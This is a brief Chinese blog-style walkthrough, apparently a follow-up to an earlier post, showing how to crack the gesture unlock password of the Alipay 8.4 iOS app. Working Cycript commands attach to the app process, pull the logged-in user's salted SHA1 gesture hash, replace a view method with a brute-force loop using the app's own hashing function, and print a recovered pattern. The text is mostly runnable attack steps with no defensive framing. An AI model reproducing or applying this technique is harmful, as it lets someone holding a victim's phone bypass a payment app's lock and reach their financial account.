续前人http://blog.csdn.net/yiyaaixuexi/article/details/18520053
本文在支付宝8.4上测试
1.cycript附到支付宝进程
cycript -p pid
2.获取当前手势密码页面
cy# vc=[UIApplication sharedApplication].keyWindow.rootViewController.topViewController
#"<ColorFaceUnlockViewController: 0x2dd30e0>"
获取当前登录用户信息
cy# user = [[DFContext sharedContext] findServiceByName:@"SAAccountService"].userInfo
3.破解密码
支付宝手密由1-9数字
随便找个函数替换掉实现。函数中遍历所有密码,并用支付宝的sha1加密函数加密,然后和用户信息中的手密字段进行比较
cy# ColorFaceUnlockViewController.messages['viewDidLoad']=<span style="font-family: Arial, Helvetica, sans-serif;">function (){</span>
for(i = 999;i < 999999999; ++i){ pwd = [AccountInfoUtils sha1TextWithSalt:i.toString() withUserId:user.userId]; if([pwd isEqual:user.gesturePassword]){ result = i.toString(); }}}
由于执行时间较长,放到后台线程跑
cy# [vc performSelectorInBackground:@selector(viewDidLoad) withObject:nil];
1分钟后看看结果
cy# result
"523698741"